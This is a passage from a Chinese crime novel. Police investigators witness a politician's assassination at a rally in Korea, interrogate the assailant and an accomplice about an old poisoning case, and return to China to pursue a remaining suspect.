“各小组立刻回撤,全部到我这里来!先到达的在门口接应后来的人员,然后守住门,别让他们进来!” 人群中,东南西北各小组立刻行动起来。 秦梓需艰难地拨开人群,努力以最快的速度向前走。她身形较瘦,通过性较强,因此走得相对快。章弥真亦步亦趋地跟在她后面,倒也走得比较顺畅,就是后方邹天和小刘控制着何天佑走得比较慢。 黑警追得很快,他们不管不顾,举止暴力,所过之处引发大片骚乱,不断有人大声抱怨,随即又被惊吓到立刻噤声。 “X,牙山警署这帮孙子放假怎么不回家去睡觉,一个个跑来这儿跟我们较劲!”邹天在人群中挤得满头大汗,口中骂骂咧咧。 他已经在追捕的人中认出了好几个熟面孔,都是在牙山警署里有过照面的人。 “老秦!走后面!” 此时她们已经从广场东出口挤到了靠近舞台的位置,章弥真拍了拍秦梓需的后背,喊道。她的意思是让秦梓需绕到舞台后方走,那个位置有防护围栏,还有很多舞台声光线缆,可以利用来阻挡后方的追兵。 秦梓需立刻会意,一头钻到了舞台后方。有舞台周边维护秩序的安保人员见她冲撞过来,当即上前拦阻,口里大喊着什么话,那意思不用想也知道是不让她靠近。 秦梓需指着后方用英语大喊了一声:“HELP!Theyarechasingus!” 安保人员懵了片刻,大概是在反应英语啥意思,秦梓需趁机从他身边溜走。那安保人员随即反应过来,反手就来抓秦梓需。秦梓需扭身一个反擒拿动作,将安保人员手臂扭到身后压制住,随即沉肩狠狠一个铁山靠,安保人员高胖的身躯立刻被她撞到了旁边的护栏上,直接连人带护栏翻倒在地,骇得他哇哇乱叫。 “Sorry!”秦梓需大喊了一声,随即立刻加速快走离去。 她这一动作让舞台后方惊起一阵骚乱,章弥真等邹天、小刘带着何天佑过来后,趁机将断了接口的另一侧护栏扯过来,拦阻后方的追兵。 后面的人“西八西八”骂骂咧咧地将护栏踹踢在地,章弥真一边跑,一边故意勾带着地上的电线乱舞,她这一番操作,竟然还真就绊倒了两个人。 见效果达成了,她也顾不得那么多,立刻撒腿就跑。 舞台后方的骚乱显然影响了舞台之上李浩贤的演讲,他似乎意识到了什么,于是草草几句话结束了演讲,立刻往台下去。 他的安保立刻围了上来将他护在中央,带着他往那辆黑色的保姆车行去。 此时舞台周围的围栏已经倒了,大量的群众立刻就被挤到了舞台正下方,李浩贤的车边也已经围满了人。这些人中相当一部分并没有意识到到底发生了什么,仍然沉浸在刚才李浩贤演讲的氛围之中。 不得不说这位年轻的议员自身形象最近几年打理得很不错,由于他的个人政治崛起和地方经济发展深度挂钩,本地很多人对他未来前途都很看好。此时民众突然和他有了近距离接触的机会,大家将他围在中央,围得水泄不通,纷纷要和他握手打招呼,更有甚者要求他签名。 安保奋力阻隔人群与他接触,李浩贤此时却不得不拿出亲民的姿态来,笑着阻止安保人员动粗,让安保让开一个口子,与身边围过来的民众一一握手致意。 此时秦梓需恰好也来到他所在的位置的附近,只不过她是从后方绕过来的,位于保姆车的车尾后方,李浩贤在车后门边,距离车门只有一步之遥。 秦梓需与李浩贤之间隔着三四层人墙,这里人堆人堵得水泄不通,已经是怎么挤都挤不动了。 因此,不仅是秦梓需走不了,后方追兵也追不上来。大家都被强行钉在原地,裹足不前。 舞台上,主持人正在高声呼喊着,维持秩序。机动队也正在努力分流人群,李浩贤面前仍然有相当多的人在与他握手,呼喊,索要签名。 变故就在此时陡生,一个身着黑色防晒服,兜帽裹头的人影突然从拥挤的人群中扑出,扑到了李浩贤近前。就在李浩贤惯性地要与此人握手时,此人袖口突然抖出一柄乌黑的利刃,“唰唰唰……”,这人攥着利刃对着李浩贤闪电般连捅数下,刀刀冲着李浩贤的脖颈、胸口扎去。 不足两秒的时间内,此人已经扎了数刀在李浩贤身上。时间太短,谁也没有反应过来,包括周遭的安保。 待到李浩贤惨嚎,下意识地用手格挡时,安保人员才反应过来,立刻冲出两个人将那行凶者狠狠压倒在地,打掉了对方手里的刀。其余人则护住李浩贤将他挡在身下。 行凶者则愤怒地尖叫着:“李浩贤!你还记得我吗!我叫你不得好死!!!” 这分明是个女人的声音,她说中国话。 李浩贤脖颈的血液喷涌而出,飞溅到了四周人的身上。霎时间,尖叫声、惊呼声不绝于耳,整个广场内乱作一团。人群彼此推搡、挤压,有老弱者站立不稳,已经被挤得跌倒在地,惊恐的人群难以控制地踩踏到跌倒的人身上,凄惨的嚎叫声让所有人汗毛炸立,悚然无状。 “所有人彼此护住了,顶住,千万别跌倒!”秦梓需知道不妙,可能要发生踩踏事件了,她第一时间带着章弥真、邹天、小刘和何天佑躲到了黑色保姆车的车尾,邹天和小刘在外,后背向外,面对面互相挽住手臂,成犄角之势形成人体拦网,秦梓需、章弥真在内,两人合力控制住何天佑,五个人彼此依靠着,仅仅贴住,互为依靠,抵抗拥挤的人潮。 好在踩踏只在车辆附近发生,在场上主持人声嘶力竭地叫喊中,更外围的人群并没有骚乱,踩踏在半分钟内停止了。 随即后方的追兵赶到,这帮牙山警署的人这会儿哪里还顾得上秦梓需一行人,他们全都扑到了李浩贤的身周查看情况。 一个安保正用手死死摁着李浩贤的脖颈和胸口,但鲜血不断从他脖子之间溢出,已经淌了一地。李浩贤面如金纸,浑身抽搐,翻了白眼,眼看着就要不行了。 “上车,上车,都给我让开!”有安保在大喊。 所有人七手八脚把李浩贤往车上抬,秦梓需松开护着章弥真的怀抱,眸光紧盯那被死死摁在地上的刺杀者,大喘着气呼出了她的姓名: “是许晓芸……” 章弥真抬头望向秦梓需,她下颌紧绷,极度紧张后突然释放的茫然还残留在她僵硬的身躯上,可她的眸光之中,却掠过了一丝不易察觉的释然。 她释然了?章弥真转身看向那血淋淋的现场,看着被保安七手八脚抬起来往车上运的李浩贤,看着被压在地面上,仍然狰狞咆哮不止的许晓芸,她近乎本能地取出了手机,摁下了快门。 …… 两个小时后,牙山警署,秦梓需一行人被使馆派来的参赞领出了拘留室。他们被扣押在牙山警署接受问询,但现在牙山警署乱作一团,谁也没有心思应付他们这帮中国警察。 韩国警方都在询问许晓芸到底是谁,秦梓需一行却三缄其口,并不给与任何回答。因为对他们的审讯是不合法的,缄默是为了维护自身权利和国家尊严。 如此僵持,直至大使直接致电首尔的外交部,并派了参赞亲自前来,将他们从拘留室之中释放。 秦梓需一行人并未犯任何罪行,当然不该扣押。但不甘心的韩国警方,仍然声称保留起诉他们在境外非法调查的权利。 “李浩贤死了,没救回来。”一直等在拘留室外的朴尚恩一见众人出来,立刻迎上来,并带来李浩贤的死讯。 “我看也救不回来,那一刀直接扎脖子大动脉上了,许晓芸看上去是专门练过的。”邹天道。 “你少说两句吧!”谢云卿白了他一眼。她见朴尚恩整个人情绪紧绷,便制止了邹天的低情商行为。 “他们不会为难你吧?你有没有把事情都推到我们身上?”秦梓需问朴尚恩。 “我……你们别担心我,我没事的。”朴尚恩摇摇头,“何天佑就关押在许晓芸隔壁,我就知道这些了。我得走了,组长还等我集合,我们得去街上维持治安。” 说着她就转身离去,走出去没两步,她顿住脚步看向众人,深深鞠了一躬,接着转身,迅速消失在了走廊尽头。 秦梓需心想也许这就是与她的最后一面了。她收回视线,此时谢云卿已经向参赞道歉:“实在抱歉参赞,给您添麻烦了。” “没事,你们把事情调查清楚了就行,其余的问题,我们使馆来处理。”参赞和气地说道,他看上去不慌不忙,“一会儿,韩方请你们去开会,这不是审讯,是沟通会,双方交换一下情报,你们把情况说明一下,不要有保留了。” “参赞……我想去见见许晓芸。”秦梓需提出。 章弥真忙给她递眼色,示意她别得寸进尺。但参赞却道: “这需要得到韩方的批准,一会儿开会结束,我帮你提一提这个请求。不过各位,你们要做好心理准备,现在的许晓芸是缅甸国籍,不是中国国籍。根据属地优先原则,她在韩国犯法,要接受的是韩国法律的审判,我们已经无权管辖。” 此言一出,众人皆吃了一惊。 第96章 第九十六章 与韩方开会是一件很痛苦的事,为了解释清楚事情的来龙去脉,一行人颇费了一番口舌。不过,韩方对话的态度倒也是敞开的,这次有着首尔派来的专员与中方接洽,会议的氛围还算融洽,那些试图抓捕秦梓需等人的黑警,已经被勒令禁足在家等待调查了。 因此,秦梓需等人从韩方那里得知了许晓芸目前的状况。她持有的缅甸护照上的姓名是陈芸,入境时她穿着僧衣,自称是缅甸当地的一位尼姑,来韩国参加佛事活动。 她是前天才入境的,查询她此前的入境记录,近五年来她往返韩国有二十多次,每年都会来很多趟,基本都是以佛事活动作为借口。且她确实有对接的尼姑庵,并无任何可疑之处。 她所持有的那把黑刀,是一把十分锋利的军用匕/首,入境时并未携带,推测可能是藏在韩国本地,入境后取得。 秦梓需等人看着许晓芸光头的照片,感到无言以对。都已经出家了,何苦还要这般执着。看来她出家只是个躲避惩罚的幌子,她恐怕从未有一刻放下过仇恨。现在她达成了她的目的,秦梓需却感到内心无比复杂。 会议最后,韩方领头人,一位中央警察厅的高级代表表示充分理解了中方在韩国本地的行动轨迹和搜查细节,中韩都对双方此前的行动表示谅解,过去的一切也就不提了。 按照许晓芸的身份和现行缅甸、韩国的法律,她无疑会在韩国接受审判。而同样的,按照属地原则,何天佑虽然是中国籍,也要在韩接受调查和审判,此后的司法量刑要看韩方判了多久,如果何天佑在韩未被判足中国刑法所规定的服刑时间,回国后还要继续被追究刑事责任。 参赞提出想要让专案组再见一次许晓芸和何天佑,韩方没有过多犹豫答应了。当然见面会在韩方的监控下进行,韩方也希望中方能从许晓芸口中套出更多的内容。 因为从被捕后,许晓芸就一直沉默着不说话,韩警方暂时还拿她没什么办法。 事不宜迟,会议结束后,专案组就去了牙山警署的羁押审讯室,见到了许晓芸。 此时她已经换上了黄色马甲,坐在拘束椅里。她剃了光头,面容十分瘦削,虽然年纪不算大,面庞却极度憔悴苍老,这巨大的外表变化让她看上去完全变了一个人,已经很难和从前照片中那个清秀漂亮的年轻姑娘联系上了。 见到了中国警察进来,许晓芸一片死寂的目光之中多了一丝活泛的意味。她抬眸看向坐在主审位置的秦梓需,似乎已经做好了回答一切的准备。 “许晓芸,按照规定,应由韩国警察对你进行审讯,我就不按照审讯的流程来对你问话了。就当是聊天,初次见面,我做个自我介绍,我姓秦,是来查李芝华案的。” “秦警官,我等的就是你们。”许晓芸开口说话了。 “是吗?看来你知道我们在韩国?” “我知道,我有自己的消息渠道,我知道你们来了,所以我必须尽快完成复仇。”她毫无遮掩地说道。 能有什么消息渠道,三天前专案组曾去找过许晓芸的父母,消息无非是她的父母告诉她的。她们仍然保留着曲折的联系方式。 “那看来你应该是知道我们千里迢迢来韩国,为的就是寻找李芝华当年一直带在身边的一个物件,一个炸弹引爆器的残骸。”秦梓需道。 许晓芸道:“我知道,你们要找的东西在我手里。不过我并没有带在身边。” 她的坦率让人震惊,以至于秦梓需在短暂地狂喜之后,感到一阵不敢相信。她压了压自己的情绪,确认道: “你说那个东西在你的手里,在哪里?” “在仰光附近有一个尼姑庵,叫ThadamaMyintzu。我可以给你们地址,在我的宿舍阳台上,有一盆紫云英,东西就埋在花盆里。”许晓芸道。 秦梓需连忙让人拿来纸和笔,送到许晓芸跟前。许晓芸晃动着手腕上的手铐,伴随着哐啷啷的声响写下了具体地址。 秦梓需拿到了地址,立刻递给了一旁的谢云卿。谢云卿便安排国内即刻去联络缅甸,前往调查。 “我很好奇,你是怎么知道这个炸弹引爆器的存在的,又为什么想要拿走这个东西。”秦梓需问。 “这不难理解,就是李芝华告诉我有这么一个东西的。我拿走这个东西,当然是想用这个东西杀人,我原本的计划是用这个炸弹引爆器制造一个炸弹,安装在李浩贤的跑车车底,把他炸死。”许晓芸毫不避讳地直言道。 “但你没有这么做?”秦梓需疑惑。 许晓芸沉默了两秒,道:“我没有这么做,一是因为客观条件不允许,二是因为我不忍心破坏李芝华的老师留下的唯一案件物证,如果我用了这个东西,那恐怕李芝华老师的那起案子,将永远无法将罪犯绳之以法了。我这个人就是太懦弱,太为别人着想了。不然要报仇,何苦等到现在……” 她说这话时,面上充满了自嘲的笑容,但眸光中却藏着泪意。 秦梓需默了两秒,道: “能跟我从头讲一讲经过吗?关于你8年前在韩国所经历的一切。” 许晓芸笑了下,道:“没想到我真的有一天还能对人说起那些破事,这些事憋在我心里已经很多年了。我本来指望躲起来,时间能淡化掉一切,但看来有些事儿是怎么也过不去的。我知道这是我命里的劫数,我不亲手了结这一切,老天爷是不会放过我的。 “好吧,让我想想,该从哪儿说起……” …… 许晓芸出生在一个双教师家庭,打小家里就把她培养成淑女,让她为人要有礼貌,做事要谦让有分寸,说话要好听,一切行为举止都得符合一个贤淑的女孩子身份。 她的性格里,不争不抢是底色,自小到大,除了受了点调皮男同学的小打小闹,倒也没有吃过什么大亏,就这样一路平顺地走到了大学毕业。 她大学学的是机械工程,原本是没打算出国的,但校招时遇见了韩国车企召人,由于迷恋韩流,她抱着试试看的心态报了名,然后就被选中了。 父母虽然不大乐意她出国,但想着让她出国锻炼锻炼也是好事。实习期也就三个月,如果能留在韩国大企业,也算是好出路,于是就由着她去了。 她很兴奋地抵达了韩国,被带到了牙山工厂。进入实习的最初一周,一切都还算顺利,她在努力适应环境,学习语言,认识新的朋友、上司和同僚。她性格不算特别开朗,社交还是有些压力的,好在身边都是中国的实习生,语言沟通没什么障碍。 没几天,她认识了李芝华,这个姑娘独来独往,不与任何人交往。一次在餐厅吃饭,许晓芸见她被许多人强行插队,那些人仿佛理所应当似的,她受欺负了,倒也不生气,好像就当那些人不存在。 许晓芸突然就对她产生了兴趣,第一次大着胆子去和她搭话,接触了对方,她才发现李芝华是个非常优秀的女孩子,她意志坚定,非常清楚自己想要什么,对待别人也很宽容和善。 许晓芸好奇问她受欺负了怎么都像是没脾气似的,她说没有时间浪费在无聊的人身上。这句话让许晓芸对她非常有好感,此后时常主动约她一起出入。 偶然的机会,她们在宿舍附近发现了几只流浪猫。两人都很喜欢猫,许晓芸自费买了猫粮来喂猫,李芝华说等这一包喂完,由她来买下一包。许晓芸知道他经济拮据,但见她十分坚持,不愿意伤她自尊,便答应了。 美好的日子很快就结束了,因为一个人的出现——李浩贤。许晓芸是个很单纯的女孩,她知道这世界并不美好,但却从没想过不美好的事会发生在自己身上。 在来到韩国后的第二周,她受邀参与了李浩贤的生日晚宴,去了韩国本地的KTV。邀请她的是实习小组的组长,对方暗示许晓芸晚上可能会发生点什么,但当时单纯的许晓芸压根没有理解这暗示,只把这当成一次交朋友的机会。 于是她被迷晕了,第二天早上她发现自己赤身裸/体躺在酒店的床上,李浩贤就在坐在床边抽烟。 下身的不适感告诉她自己被侵犯了,而李浩贤操着一口并不流利的汉语,说喜欢她,觉得她长得漂亮,让她做他的情人,并承诺能让她留韩成为正式员工,以后进入高层管理岗,年薪超百万。 他还直接给了她一千万韩元。 许晓芸不知道自己当时怎么能如此窝囊,她甚至没胆子说出一句骂人的话。她只是因恐惧、胆怯和憎恶而攥着被子浑身发抖,大脑一片空白。 她还记得对方离去时留下的最后一句话:“你别想着报警,没用的,这里都是我的人,我带了套,他们查不出生物证据。你老老实实的,我可以给你大笔的钱,你要是想告发,我会让你在韩国失踪,让你的亲人再也找不到你。” 说罢,这个恶魔就大摇大摆离开了酒店房间。 “之后……我反反复复洗澡,反反复复……”说到这里她顿住,手指抠着手铐的锁链,眸光低垂,面上神色虽然平静,眸光却晦暗深沉,“我不敢反抗,我胆小如鼠,我甚至谁都不敢告诉,只是打落牙齿活血吞。我好想立刻回国,可组长一直盯着我,我怕他会出手对付我。我只想着要熬过去,等实习期结束,我就找机会立刻回国。 “但是我没想到,我的忍气吞声,在那个恶魔眼里看来就是同意成为他的性/奴。他竟然敢在工厂的更衣间侵犯我!那一次我全程都是清醒的状态,他殴打我,把我当畜生一样发泄。我知道自己必须杀了他,他毁了我的人生,我必须也毁了他。 “但力量太悬殊了,我到底该如何杀了他?我甚至没有杀过鱼。” 说到这里,她苦笑了一下,有泪水在眼眶中凝聚:“我真的很恨自己,尤其是当时的自己。我不仅懦弱,而且卑鄙,以至于我为了保命……不惜出卖了灵魂给恶魔。” 秦梓需沉默,所有人都沉默着听,大家都知道发生了什么。 “我问他如何才能放过我,我告诉他我愿意做交易来交换我可以回国。以我对他的了解,我知道他早就不是第一次做这种事,组长暗示我,过去一两年来,有相当多的女研修生遭到了李浩贤侵犯,没有人能把他的丑事曝光出去。 “我知道他看上的肯定不止我一个人,果不其然,他要我再去迷晕一个人。只是我没想到竟然会是李芝华,论长相,那一批研修生中比她漂亮的要多很多。 “我意识到李浩贤就是故意的,他就是想看我亲手去害我最好的朋友,彻底摧毁我的人格和尊严。” 她紧紧攥紧了手铐链,咬牙切齿地吐露着字词:“我没想害她!我当时下了决心,无论如何,不能害了李芝华。她那么信任我,她在自己的宿舍里被欺负,信任的人只有我。我真的想独自扛下一切的。 “那天她床上被室友弄的一塌糊涂,她来找我,要我陪她去邮寄一个东西。我们从宿舍一路走到快递公司,我追问她要寄什么,为什么这么匆忙,她就跟我讲了她老师杨莲的故事。那个故事好长好长,但她说的每一个字我都记得清清楚楚。她还给我看了藏在文件盒里的定时爆/炸装置…… “我当时真的大脑滑丝了,我中邪了,入魔了,我满脑子只有一个念头,我若是能拿到这个装置,我就能制造出一个□□,我就能远程杀了李浩贤,没有人会知道的,因为李浩贤开跑车,谁都知道他经常大半夜在外飙车,要制造一起意外事故太容易了,根本不会引人怀疑的。 “我想着偷偷拿走那个装置,以我的技术能力,绝对能制造出炸弹来。于是在她邮寄前,我故意引开了她的注意力,偷偷拿走了文件盒里的装置。那个装置装在密封塑料袋里,外面还套了一个保护用的布袋子。 “她没有注意?”秦梓需问。 “没有,我拿走后,文件盒就被直接打包了,在那之前她已经最后检查了一遍里面的东西,确认无误。所以她压根没有起一丝怀疑。”许晓芸道。 “可你为何还是给她的牛奶下了药?”秦梓需问。 “我被骗了……是被何天佑骗的!”许晓芸突然激动地喊了出来,“我约李芝华出来那天是我的值班日,李浩贤专门为我制造了机会,找人为我打卡代班。他安排了何天佑做我的接应,我前一天晚上陪李芝华寄完包裹后,就去找了何天佑,和他商量第二天的事。 “所有的野炊道具乃至于食材都是何天佑准备的,迷药也在他手里。他给了我一瓶药,要我加入李芝华的水杯里。我没有,我把那瓶药丢了,根本没往水杯里加。我没想到他竟然如此阴险,在李芝华常喝的牛奶里也打了药。 “野炊过后,我骗李芝华要回工厂继续上班,她独自回宿舍,我去和何天佑汇合,他才告诉我一切。我和他大吵一架,他坚持要完成李浩贤交给的事,我没办法,只得虚与委蛇,回了宿舍,想着去提醒李芝华别喝奶,我想着我们俩只要能跑到首尔找大使馆,也许还有希望。我们的护照当时都不在手边,全部押在工厂管理层那里,想回国都回不了。 “只是我没想到……她竟然死了!老天不长眼,好人不长命!”许晓芸切齿怒吼,浑身因高度的情绪波动而颤栗。 “从结果来说,她不是你们俩害死的,害死她的另有其人。”秦梓需冷静地说道,“但她的死,也有你们下药的作用在其中。如果她在中毒后没有喝下下了药的牛奶,是有活下来的可能性的,你俩在此案中的介入,导致案情急剧复杂起来,以至于真相被埋没了许多年。” 许晓芸似乎对此并不意外,她只是释然道: “所以,她真的是被猫粮毒死的吗?” 第97章 第九十七章 秦梓需解释道:“李芝华是被河豚毒素毒死的,毒素在猫粮里。你当时是怎么想的,为什么会处理现场?” 许晓芸回忆道:“我进入李芝华宿舍时,她的宿舍门没有锁。我进去后,就看到她倒在阳台上,身上卷着床单被套。我查看她时,她已经不呼吸了。我当时吓坏了,以为是何天佑在牛奶里下的药太多了,把李芝华直接毒死了。惊慌之下,我根本没意识到现场不大对劲,我怕祸及自身,所以立刻就联系了何天佑,我们俩一起处理了现场。 “但是,我在处理那盒牛奶时,把牛奶的吸管放进了李芝华的嘴里去采集唾液,才发现她嘴里残留着猫粮,我觉得有点不对劲,很疑惑她为什么会吃猫粮,但事情做都做了,现场的原始状态也被我破坏了,我只能一干到底,尽量抹除掉自己来过的痕迹。 “后来我看新闻,看到猫粮公司都被卷进来了,但我和何天佑下药的事,警方只字未提,我就知道事情并不是我们当时想的那样。只是错误已经发生了,也回不去了。” 秦梓需插话问:“当时现场李芝华的物品是否是整齐的?有没有被翻乱?” “是有点乱,但也不是很乱,不是那种强盗洗劫了之后的乱法。我也说不好,总之,不是很乱。”许晓芸努力回忆道。 “那你有帮着收拾东西吗?” “没有,我光是处理她的遗体,就十分够呛了。”许晓芸道。 审讯室里陷入了沉寂,数秒后,许晓芸突然发话道: “这么多年我一直在反复思考当年的事,我很想知道,下毒的是那个小孩吗?” 秦梓需身子前倾,眯起眼问道:“哪个小孩?” 许晓芸道:“一个中国小女孩,李芝华似乎认识她,好像是她上大学时认识的,不知道什么原因当时也在韩国。我们喂猫时,遇见过两次那个小女孩,她经常在那个公园里喂猫,而且她有吃猫粮的习惯,其中一次我们还遇见了她母亲。看到她吃猫粮,她母亲还教训她,不让她吃。” 秦梓需调出梅凝隽和邵紫涵的照片,亮给许晓芸道: “是不是这两个人?这个女孩已经长大了,不知道你能不能认出来。” 许晓芸的眸光略过梅凝隽,定在邵紫涵的照片上。发愣了片刻,她突然诡异地笑了下: “她怎么也剃了个光头……” “所以,是她?”秦梓需确认。 “是,虽然长大了,但五官变化不大。这个女人也是长相特征很明显的。”许晓芸道。 “你和何天佑当时就没想过要处理监控视频?你在宿舍进进出出,监控应该都拍到了吧。”秦梓需继续问。 “我当时根本没想那么多,何天佑跟我说他会善后。我把宿舍里的床单被套等东西带出来后,全部塞进了何天佑的后备箱,然后就立刻赶回工厂了。当时何天佑就在宿舍不远处的车里等我,我走后,他应该是处理了监控的。 “我事后回想,当天宿舍的宿管可能根本不在宿舍里,我进宿舍时压根没见她在一楼窗口。估计她早就被李浩贤买通了,李浩贤当天一定是打算进女生宿舍侵犯李芝华的,这个计划虽然是我来执行,但李浩贤明显更信任何天佑,何天佑才是这个计划的保险。” 秦梓需:“那你是怎么回国的?” “案发后,我回工厂找李浩贤拿了护照,买了船票走了。我跟他讲出人命了,他要是不想吃人命官司,趁早让我逃出境外,否则我就让他官司缠身,后半生不得安宁。他没办法,就把护照给我了。”许晓芸道。 “你回国后是怎么一个经历?为什么会成了缅甸籍?又怎么时隔这么多年,还要复仇的?”秦梓需问。 “还能有什么经历,我一个犯了重罪的人,人生早就被毁了。唯一的念想,就是尽量不牵累家人。所以我在家里待了一段时间,就和他们断绝了关系,独自一人往西南大山跑。后来想着国内警察估计也在查这件事,我知道自己在国内根本待不下去的,所以最后从云南找关系,走陆路偷渡出了境,在缅甸的尼姑庵里躲了起来。” 秦梓需:“尼姑能有什么收入?为什么近五年你还能频繁跑韩国?” “尼姑是没收入,但也没开销。缅甸尼姑的生活是很清苦的,我在尼姑庵里,算是比较有学识的人,会给当地女孩子上课,教他们一些文化知识。她们会筹集一些口粮作为报酬。我近五年跑韩国的钱,就是当时李浩贤给我的一千万韩元。 “我原本是真的想沉寂下来,不理会俗尘之事的。但……这个坎,估计我这辈子都过不去。我做了足足五年的噩梦,无数次被拉回过去的残酷经历里,精神衰弱,人也大病好多回,差点死掉。 “我还总梦见李芝华,她死得太冤了…… “我不想多辩白什么,我就是咽不下这口气,我一定要李浩贤死,如果不是他,就不会有这么多人的悲剧。” 秦梓需:“你选择了用刀近距离刺杀,为什么不用炸弹?” “我说了,我不想害得李芝华老师的案子没了证据。实际上我已经研究出那个□□的核心构造了,而且你们放心,那个证物我没有动过,证物意外得很完整,你们拿到后就知道了。 “我没用炸弹,因为我不想连累无辜。冤有头债有主,我只想李浩贤死。所以我用刀,练刀我练了5年,就是为了一刀毙命。”说到这里,许晓芸的唇角弯起一抹笑容,那应该是了结一切、大仇得报的释然快意。 秦梓需沉声道:“你如果真心觉得自己对不起李芝华,为何不早把证物给警察?一直藏到现在,难道不是因为你还是觉得自己的事最重要吗?你把复仇放在了最重要的位置上,所以在你完成复仇前,你不想担任何被追踪到的风险,对吗?” 许晓芸面上的笑容消失了,她嘴唇翕动了两下,最终无言以对。 “我不想说教,你的人生你自己负责,这条路上每一个选择,都是你自己选的。现在,到了种因得果的时候了。你爸妈现在在国内,还不知道你到底发生了什么。也许过几天,他们就会来看你了。韩国的死刑很难判,但你后半辈子也不可能走出监狱了。他们老两口,谁来养老?”秦梓需说完这句话,便站起身来,转身离开了审讯室。 众人皆跟着她离去,一直沉默的章弥真落在最后,观察许晓芸的神态。 也许是想到了年迈的父母,许晓芸眸光颤动,终于还是埋下头去,饮泣落泪。 …… 见完了许晓芸,秦梓需又去见了何天佑。何天佑垂头丧气,整个人完全崩溃,已经放弃了最后的挣扎,破罐子破摔。 他的说辞与许晓芸并无二致,承认自己参与了毒杀李芝华的犯罪,且确实在牛奶里加了迷药GHB。但他说这都是李浩贤指使的,他只是完全按照李浩贤的要求做事。 秦梓需确认了一下细节,关于宿舍的监控,何天佑说是他删掉的。但他当时太过匆忙,可能删得不彻底。事实确实如此,实际上被删掉的监控有一部分被恢复了,但被恢复的监控,其实是已经被梅凝隽、邵紫涵母女俩替换过的内容。 床单被套等许晓芸带出来的东西,都被他带到垃圾焚烧厂烧了。 秦梓需再次确认了一下何天佑被李浩贤控制的原因,何天佑的供述让所有人愕然: “我被拍了私密视频,我和公司高层董事的老婆睡了……他们拿这件事威胁我。我要是不听话,前途尽毁。我要是帮他干脏活,还有前途。我不能毁了前途,我家里为了把我供出来,花了太多的钱……” 章弥真听不下去了,直接离开了审讯室。她独自来到牙山警署的二层外平台上,头顶云卷云舒,天空湛蓝,她内心却阴云密布。她突然好想抽烟,可她已经戒了。 她扶住栏杆,埋首在自己的臂弯中,深深叹了口气。她到底造了什么孽,瞎了哪只眼,当年竟然会和何天佑这样一个人处了一段感情。为此,她感到十分耻辱,简直是人生履历中最大的黑历史。 虽然那段关系里,她其实没有付出多少感情,相反,不爽与失望更多。 如果这世界上有魔法,能将她脑袋里关于何天佑的记忆打包清理出去,彻底想不起来,该有多好?但现在,她只能主动做出情感解离,以一个专业记者的身份,采取最理性的态度去记录这一切。 也不知在这里站了多久,秦梓需来到了她身边: “你还好吧?”她小心问道。 “没事,我已经自行调理好了。”章弥真道,随即她问,“那家伙还供述了什么?” “关于案情细节,他说的和许晓芸没多少差别,不过因为这些年他一直都很靠近李浩贤,所以手头上有一些关于李浩贤逼迫他犯罪的证据,估计能为他减刑不少。”秦梓需道。 “老秦,我真觉得这一切很不真实,我从没想到自己认识的人会犯罪,更没想到自己还会参与这场犯罪的调查,真像是做梦似的。”章弥真感叹道。 秦梓需苦笑了一下:“你想想我,应该会好受点吧。我人生三十三年,已经有超过一半的时间在调查自己老师被谋杀的案子了,这就是我的命数。我们都有异于常人的经历,这意味着我们都要承担一些别人一辈子没机会遭遇的心理冲击。” “嗨,只能指望时间来消化了。”章弥真无奈说道。 秦梓需安慰她:“好在,我们在韩国的调查已经结束了,再有一两天就能回国了。刚才刘总来了电话,说是终于快查到梅凝隽的下落了。接下来回国,就是要找到梅凝隽。只要找到梅凝隽,拿到引爆器残骸,这个案子就结束了。” 章弥真笑了:“恭喜你啊,老秦,十八年的夙愿,终于得偿。” 秦梓需笑着回道:“那我也得恭喜你,大记者,你的书应该不会流产了。” 第98章 第九十八章 8月19日,章弥真推着行李箱走出了胥城高铁站的大门。热浪袭来,她透过墨镜看着外头骄阳似火的灿烂天际,感觉到一阵恍惚。 “弥真!发什么愣,上车了。”秦梓需在前面喊她。 “来了!”章弥真连忙小跑着去追她。 郑老和小金乘坐不同的航班回北京去了,因此回胥城的只有谢云卿、秦梓需、章弥真和邹天四人。一行人坐上了市局派来接他们的中巴车,刘明城就站在车边接应他们,一见到他们就开心地和每个人拥抱。 “辛苦啦,真是不虚此行!”他拍着秦梓需的肩膀笑道。 秦梓需扬着笑容,叹了口气,虽然开心,但也累坏了。不只是身累,更是心累。 章弥真在最后上车,刘明城握着她的手,由衷地道了句:“谢谢你,小章,案子能水落石出,你功不可没。” 这句话让章弥真又恍惚了一下,她露出礼貌的笑容,可眸光中分明没有太多喜悦。 车子出发,刘明城将前方驾驶位旁的靠背放下,靠着站在过道前,拿着话筒和大家说话。 “辛苦大家了,我知道大家都很着急案子后续的调查情况。其实已经有结果了,一是证物我们已经拿到手了,昨天晚上才从缅甸万里迢迢送回来,现在就在市局做物检,结果暂时还没出来。证物照片大家都看到了吧,已经发到蓝信群里了。” “看到了,你倒是说点咱不知道的。”谢云卿抱怨道。 “你别急啊,还有一个结果,梅凝隽已经找到了。猜猜在哪儿找到的,你们不一定能猜到。”案子临近彻底了结,刘明城也有心思开玩笑了。 不过他的这个关子没有卖太久,秦梓需笑着应了一声: “恐怕是在监狱里找到的吧。” “诶!你看看,还是小秦这思路活泛。”刘明城指着秦梓需笑道。 秦梓需忙谦虚道:“社会面上找不到的人,有可能在服刑人员里能找到,这是常规思路。” “你快说,别卖关子了。”谢云卿吐槽刘明城。 刘明城道:“小秦可以说是猜对了一半,梅凝隽确实是在监狱里,但不在咱们的监狱里。她在泰国的监狱里。” “不是……这案子这么国际化的吗?”邹天感到很无语。 刘明城道:“就是这么国际化,梅凝隽是在泰国非法走私名贵种猫被抓的。在韩国犯事儿后,她这些年就一直长住泰国,做一些与宠物相关的灰色生意。很偶尔才回国一次,也极少和邵紫涵、邵彦华联络。 “大概是大半年前,也就是今年年初时,她出现在了胥城东环城附近的街道上,意外地被一个直播网红的镜头拍到了。哎呀,真的要感谢大数据,如果不是大数据比对,以她小心谨慎的程度,不知道还要多久才能找到她。 “找到这个视频后,我们立刻做了分析追踪,顺藤摸瓜,找到了她往来境外的走私路径,查到她2月时就返回了泰国,没过多久就被捕入狱了。 “现在我们和泰方做了联络,申请了视频审讯,引渡的手续还在办,得有好几个月。” 谢云卿疑惑问道:“她为什么不和邵紫涵待在一起?就这么把邵紫涵丢给邵彦华了?” 刘明城解释道:“推测她应该是和邵彦华、邵紫涵之间发生了严重的分歧,所以脱离了这两个人。泰国方面告诉我们,梅凝隽的左肋下有一个很深的刀伤,距离心脏很近,偏一点就会要了她的命。这个伤大概是个5年左右的旧伤。” “5年?”邹天挑眉。 “怎么,你有想法?” 